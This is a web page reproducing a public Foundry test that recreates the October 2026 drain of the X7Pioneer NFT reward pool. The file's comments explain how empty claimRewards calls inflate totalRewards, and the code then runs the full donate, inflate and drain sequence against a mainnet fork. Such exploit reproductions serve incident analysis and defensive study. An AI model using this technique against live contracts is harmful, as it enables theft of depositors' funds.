Skip to content
THREATWIRE

Public reproduction file

src/test/2026-10/X7Finance_exp.sol

Public reproduction file for dataset entry X7Finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-10/X7Finance_exp.sol159 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5
6// X7 Finance (X7Pioneer NFT) - reward-accounting flaw in claimRewards() - Ethereum.
7// ~6.78 ETH drained from the X7Pioneer reward pool on 2026-10-08.
8//
9// Attack tx : 0xc98056d6ab55ef898189da5fa1fb08b968cb84ca99528d171f8240836b21766d (block 26146922)
10// Attacker EOA : 0xc79352119a7cf6efbfabbd7e6b013b79687bacf2
11// Attack contract (on-chain): 0xaa0cad88ac3f76beb9a0f1ba661916d7716d5f4a
12// X7Pioneer : 0x70000299ee8910ccacd97b1bb560e34f49c9e4f7 (verified; vulnerable)
13// Aave V3 Pool : 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2 (WETH flash loan funds the donation)
14// WETH : 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
15//
16// ROOT CAUSE (confirmed against verified source - X7Pioneer.claimRewards, lines 1407-1432):
17// function claimRewards(uint256[] memory tokenIds) public nonReentrant {
18// if (lastETHBalance < address(this).balance) {
19// totalRewards += (address(this).balance - lastETHBalance); // runs on EVERY call
20// }
21// ... loop over tokenIds builds `claimable` ...
22// if (claimable > 0) {
23// lastETHBalance = address(this).balance - claimable; // only updated when claimable > 0
24// (bool ok, ) = msg.sender.call{value: claimable}("");
25// }
26// }
27// The accumulator totalRewards is bumped by (balance - lastETHBalance) on every entry, but lastETHBalance
28// is only refreshed inside the `claimable > 0` branch. tokenIds is caller-supplied, so an empty array makes
29// the loop a no-op and leaves claimable == 0. The bump therefore runs while the refresh does not, so the
30// same unaccounted balance delta is re-counted into totalRewards on each empty call. Repeated empty calls
31// inflate totalRewards without bound; per-token reward is totalRewards / totalSupply(), so a single owned
32// NFT can then claim far more than its real share - up to the whole pool balance.
33//
34// Three points verified on fork (see asserts below), not assumed:
35// 1. the totalRewards bump is unconditional while the lastETHBalance refresh is gated by claimable > 0;
36// 2. claimRewards accepts a caller-supplied array and an empty array reaches the bump with claimable == 0
37// (totalRewards strictly increases across empty calls while no ETH leaves the contract);
38// 3. X7Pioneer source is verified on Etherscan, so the root cause is read directly from source.
39//
40// MECHANISM - fully permissionless. The attacker is a plain EOA that owns one X7Pioneer NFT (id 300). The
41// donation is an ordinary ETH send into the contract's receive(), the inflating calls are public claimRewards([])
42// calls, and the final drain is a public claimRewards([300]). No owner / admin / role / signature step is used.
43// At the parent block address(this).balance == lastETHBalance (delta 0), so the donation is what creates the
44// delta that the bug then double-counts; the attacker sourced that donation with an Aave WETH flash loan and
45// repaid it in the same transaction, so the net profit is the pool's pre-existing genuine reward balance.
46//
47// RECONSTRUCTION - fork one block before the attack (26146921) and run the real sequence with typed calls to
48// the real X7Pioneer. Nothing is replayed from the attacker's calldata/bytecode:
49// donate ETH to X7Pioneer -> repeat claimRewards([]) to inflate totalRewards -> claimRewards([300]) to drain
50// -> repay the borrowed capital. The NFT is moved from the EOA to the attack contract with a pranked transfer
51// (the EOA owns it on-chain and signed the real tx), then returned.
52// On-chain the donation capital (26.963170607692677032 WETH) was raised with an Aave V3 WETH flash loan and
53// repaid in the same tx. Here that capital is modeled with vm.deal (the repo's standard way of standing in for
54// flash-loan principal) and the principal is paid back out of the drained ETH, so the figure asserted as
55// profit is already net of the donation. A live Aave flashLoanSimple was tried first and reverted NotActivated
56// on the fork (the pool implementation code is not served at this block); the drain itself does not depend on
57// the loan, only on the donation being present, so the economics are unchanged.
58//
59// RESULT - the inflating loop lands totalRewards so that the single-token claim pays 33.756919822234785023 ETH,
60// matching the on-chain RewardsClaimed amount to the wei. After repaying the 26.963170607692677032 borrowed
61// principal, net profit is ~6.79 ETH. On-chain the attacker EOA balance rose by 6.777538... ETH; the small
62// residual is the Aave premium (0.05%) and gas, neither of which this modeled run charges.
63//
64// Run: forge test --contracts src/test/2026-10/X7Finance_exp.sol -vvv
66interface IX7Pioneer {
67 function claimRewards(uint256[] memory tokenIds) external;
68 function totalRewards() external view returns (uint256);
69 function totalSupply() external view returns (uint256);
70 function lastETHBalance() external view returns (uint256);
71 function rewardsClaimed(uint256 tokenId) external view returns (uint256);
72 function ownerOf(uint256 tokenId) external view returns (address);
73 function transferFrom(address from, address to, uint256 tokenId) external;
76contract X7FinanceExploit is Test {
77 IX7Pioneer internal constant X7P = IX7Pioneer(0x70000299Ee8910cCaCD97B1bB560E34F49c9e4f7);
79 address internal constant ATTACKER_EOA = 0xC79352119A7cF6EFbFaBBD7e6b013B79687BaCf2;
80 address internal constant LENDER = 0x000000000000000000000000000000000000dEaD; // stands in for the flash-loan pool
81 uint256 internal constant TOKEN_ID = 300;
82 uint256 internal constant LOAN = 26_963_170_607_692_677_032; // capital donated, borrowed via flash loan on-chain
84 uint256 internal drained; // ETH paid out by the vulnerable final claim
86 function setUp() public {
87 vm.createSelectFork("https://eth.drpc.org", 26_146_921);
88 }
90 function testExploit() public {
91 // The EOA owns the NFT on-chain; move it to this attack contract exactly as the real tx did.
92 vm.prank(ATTACKER_EOA);
93 X7P.transferFrom(ATTACKER_EOA, address(this), TOKEN_ID);
95 // Point 1 + 3: confirm the source-level invariant on real fork state before touching anything.
96 assertEq(X7P.ownerOf(TOKEN_ID), address(this), "attacker must own the NFT to drain");
97 assertEq(
98 address(X7P).balance,
99 X7P.lastETHBalance(),
100 "parent block: balance == lastETHBalance, so no natural delta - the donation creates it"
101 );
103 emit log_named_decimal_uint("X7Pioneer ETH balance (pre)", address(X7P).balance, 18);
104 emit log_named_decimal_uint("totalRewards (pre)", X7P.totalRewards(), 18);
105 emit log_named_uint("totalSupply", X7P.totalSupply());
107 // Flash-loan principal (26.96 WETH on-chain), modeled as ETH. Donate it into the pool to create the
108 // balance delta the bug double-counts.
109 vm.deal(address(this), LOAN);
110 (bool sent,) = address(X7P).call{value: LOAN}("");
111 require(sent, "donation failed");
113 _inflateAndDrain();
115 // Hand the NFT back and repay the borrowed principal, as the real tx did. What remains is net profit.
116 X7P.transferFrom(address(this), ATTACKER_EOA, TOKEN_ID);
117 (bool repaid,) = LENDER.call{value: LOAN}("");
118 require(repaid, "repay failed");
120 emit log_named_decimal_uint("claimRewards([300]) paid out", drained, 18);
121 emit log_named_decimal_uint("Attacker ETH profit (net of donation)", address(this).balance, 18);
123 // Final claim reproduces the on-chain RewardsClaimed amount to the wei.
124 assertEq(drained, 33_756_919_822_234_785_023, "drain must equal on-chain RewardsClaimed");
125 // Net profit tracks the on-chain attacker EOA delta (~6.7775 ETH); modeled figure omits the Aave premium and gas.
126 assertApproxEqAbs(address(this).balance, 6.78 ether, 0.02 ether, "net profit ~6.78 ETH");
127 }
129 function _inflateAndDrain() internal {
130 uint256 supply = X7P.totalSupply();
131 uint256 poolBalance = address(X7P).balance; // L + donation, constant during empty-array calls
132 uint256 alreadyClaimed = X7P.rewardsClaimed(TOKEN_ID);
133 uint256 delta = poolBalance - X7P.lastETHBalance(); // totalRewards is bumped by this on every entry
135 // Point 2: repeatedly re-count the same delta via empty-array calls. The paying claim bumps
136 // totalRewards once more on entry, so the drain uses (totalRewards + delta). Keep going only while
137 // one further empty call would still leave that drain within the pool balance - otherwise
138 // lastETHBalance = balance - claimable underflows inside the contract.
139 uint256 before = X7P.totalRewards();
140 uint256 calls;
141 while (((X7P.totalRewards() + 2 * delta) / supply) - alreadyClaimed < poolBalance) {
142 uint256[] memory none = new uint256[](0);
143 X7P.claimRewards(none);
144 calls++;
145 }
146 require(X7P.totalRewards() > before, "empty calls did not inflate totalRewards");
147 emit log_named_uint("empty claimRewards([]) calls", calls);
148 emit log_named_decimal_uint("totalRewards (inflated)", X7P.totalRewards(), 18);
150 // Drain: a single owned token now claims almost the whole pool.
151 uint256 balBefore = address(this).balance;
152 uint256[] memory one = new uint256[](1);
153 one[0] = TOKEN_ID;
154 X7P.claimRewards(one);
155 drained = address(this).balance - balBefore;
156 }
158 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “X7Finance” (2026-10-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc79352119a7cf6efbfabbd7e6b013b79687bacf2

  • Attack contract

    0xaa0cad88ac3f76beb9a0f1ba661916d7716d5f4a

  • Attack Tx

    0xc98056d6ab55ef898189da5fa1fb08b968cb84ca99528d171f8240836b21766d

File record

Name
X7Finance
Path
src/test/2026-10/X7Finance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4a54ec9a35a213880d0acfee4b5176e4029a6667
Language
Solidity
Size
160 lines
Date
2026-10-08
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-10/X7Finance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4a54ec9a35a213880d0acfee4b5176e4029a6667, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.